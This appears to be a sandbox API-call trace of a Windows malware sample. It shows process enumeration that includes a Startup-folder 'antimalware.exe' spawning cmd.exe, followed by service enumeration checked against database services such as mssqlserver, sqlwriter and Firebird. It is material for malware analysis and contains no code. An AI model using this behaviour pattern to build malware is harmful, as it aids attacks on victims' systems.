	[0059.280] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0059.280] lstrlenW (lpString="cause.exe") returned 9
	[0059.280] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0059.281] lstrlenW (lpString="occasionstax.exe") returned 16
	[0059.281] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0059.282] lstrlenW (lpString="distributors.exe") returned 16
	[0059.282] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0059.282] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0059.282] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0059.284] lstrlenW (lpString="rand.exe") returned 8
	[0059.284] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0059.285] lstrlenW (lpString="unlikely.exe") returned 12
	[0059.285] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0059.285] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0059.285] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0059.286] lstrlenW (lpString="promotion.exe") returned 13
	[0059.286] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0059.287] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0059.287] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0059.288] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0059.288] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0059.289] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0059.289] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0059.289] lstrlenW (lpString="bad-length.exe") returned 14
	[0059.289] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0059.290] lstrlenW (lpString="unit.exe") returned 8
	[0059.290] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0059.291] lstrlenW (lpString="parents.exe") returned 11
	[0059.291] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0059.292] lstrlenW (lpString="charge.exe") returned 10
	[0059.292] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0059.293] lstrlenW (lpString="measures-provision.exe") returned 22
	[0059.293] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0059.293] lstrlenW (lpString="dllhost.exe") returned 11
	[0059.293] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.294] lstrlenW (lpString="conhost.exe") returned 11
	[0059.294] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.295] lstrlenW (lpString="conhost.exe") returned 11
	[0059.295] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0059.296] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0059.296] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0059.297] lstrlenW (lpString="cmd.exe") returned 7
	[0059.297] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.297] lstrlenW (lpString="conhost.exe") returned 11
	[0059.297] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.298] lstrlenW (lpString="svchost.exe") returned 11
	[0059.298] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0059.299] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0059.299] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0059.300] lstrlenW (lpString="conhost.exe") returned 11
	[0059.300] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1
	[0059.301] lstrlenW (lpString="mode.com") returned 8
	[0059.301] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0059.302] lstrlenW (lpString="svchost.exe") returned 11
	[0059.302] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1
	[0059.302] lstrlenW (lpString="LogonUI.exe") returned 11
	[0059.302] Process32NextW (in: hSnapshot=0x334, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0
	[0059.303] CloseHandle (hObject=0x334) returned 1
	[0059.303] Sleep (dwMilliseconds=0x1f4) 
	[0059.815] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fc10
	[0059.815] EnumServicesStatusExW (in: hSCManager=0x68fc10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0059.815] GetLastError () returned 0xea
	[0059.815] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1d5a) returned 0x3bfae80
	[0059.816] EnumServicesStatusExW (in: hSCManager=0x68fc10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3bfae80, cbBufSize=0x1d5a, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3bfae80, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0059.816] CloseServiceHandle (hSCObject=0x68fc10) returned 1
	[0059.816] lstrlenW (lpString="Appinfo") returned 7
	[0059.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0059.816] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0059.816] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0059.817] lstrlenW (lpString="AppXSvc") returned 7
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0059.817] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0059.817] lstrlenW (lpString="Audiosrv") returned 8
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0059.817] lstrlenW (lpString="BFE") returned 3
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0059.817] lstrlenW (lpString="BITS") returned 4
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0059.817] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0059.817] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0059.817] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.817] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0059.817] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0059.818] lstrlenW (lpString="CDPSvc") returned 6
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0059.818] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0059.818] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0059.818] lstrlenW (lpString="CryptSvc") returned 8
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0059.818] lstrlenW (lpString="DcomLaunch") returned 10
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0059.818] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0059.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0059.818] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0059.818] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0059.819] lstrlenW (lpString="Dhcp") returned 4
	[0059.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0059.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0059.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0059.819] lstrlenW (lpString="Dnscache") returned 8
	[0059.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0059.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0059.819] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0059.819] lstrlenW (lpString="DoSvc") returned 5
	[0059.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0059.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0059.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0059.819] lstrlenW (lpString="DPS") returned 3
	[0059.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0059.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0059.819] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0059.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0059.825] lstrlenW (lpString="DusmSvc") returned 7
	[0059.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0059.825] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0059.825] lstrlenW (lpString="EventLog") returned 8
	[0059.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0059.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0059.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0059.825] lstrlenW (lpString="EventSystem") returned 11
	[0059.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0059.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0059.825] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0059.825] lstrlenW (lpString="FontCache") returned 9
	[0059.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0059.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0059.825] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0059.825] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0059.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0059.825] lstrlenW (lpString="gpsvc") returned 5
	[0059.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0059.826] lstrlenW (lpString="iphlpsvc") returned 8
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0059.826] lstrlenW (lpString="KeyIso") returned 6
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0059.826] lstrlenW (lpString="LanmanServer") returned 12
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0059.826] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0059.826] lstrlenW (lpString="lfsvc") returned 5
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0059.826] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0059.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0059.826] lstrlenW (lpString="lmhosts") returned 7
	[0059.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0059.827] lstrlenW (lpString="LSM") returned 3
	[0059.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0059.827] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0059.827] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0059.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0059.827] lstrlenW (lpString="MapsBroker") returned 10
	[0059.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0059.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
